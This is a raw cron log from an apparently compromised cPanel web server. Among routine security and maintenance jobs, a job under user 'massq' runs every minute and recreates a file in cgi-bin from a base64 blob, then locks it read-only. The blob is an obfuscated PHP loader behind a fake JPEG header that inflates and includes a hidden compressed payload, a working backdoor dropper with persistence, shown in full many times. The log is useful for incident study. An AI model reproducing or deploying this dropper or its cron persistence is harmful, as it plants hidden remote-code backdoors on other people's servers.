Sep  5 11:00:01 server CROND[20941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:00:01 server CROND[20934]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 11:00:01 server CROND[20940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:01:01 server CROND[21777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:01:01 server CROND[21779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:01:01 server CROND[21780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:01:01 server CROND[21778]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 11:01:01 server run-parts(/etc/cron.hourly)[21778]: starting 0anacron
Sep  5 11:01:01 server run-parts(/etc/cron.hourly)[21798]: finished 0anacron
Sep  5 11:02:01 server CROND[22268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:02:01 server CROND[22269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:02:01 server CROND[22270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:03:01 server CROND[22654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:03:01 server CROND[22655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:03:01 server CROND[22656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:04:01 server CROND[23206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:04:01 server CROND[23207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:04:01 server CROND[23209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:05:01 server CROND[23591]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:05:01 server CROND[23596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:05:01 server CROND[23598]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:05:01 server CROND[23605]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:05:01 server CROND[23610]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 11:05:01 server CROND[23608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:05:01 server CROND[23611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:05:01 server CROND[23613]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 11:05:01 server CROND[23609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:06:01 server CROND[24442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:06:01 server CROND[24443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:06:01 server CROND[24444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:07:01 server CROND[24911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:07:01 server CROND[24913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:07:01 server CROND[24912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:08:01 server CROND[25281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:08:01 server CROND[25282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:08:01 server CROND[25283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:09:01 server CROND[25654]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 11:09:01 server CROND[25652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:09:01 server CROND[25655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:09:01 server CROND[25653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:10:01 server CROND[26028]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:10:01 server CROND[26029]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:10:01 server CROND[26031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:10:01 server CROND[26035]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:10:01 server CROND[26037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:10:01 server CROND[26039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:10:01 server CROND[26041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:10:01 server CROND[26040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:11:01 server CROND[26855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:11:01 server CROND[26856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:11:01 server CROND[26857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:12:01 server CROND[27223]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
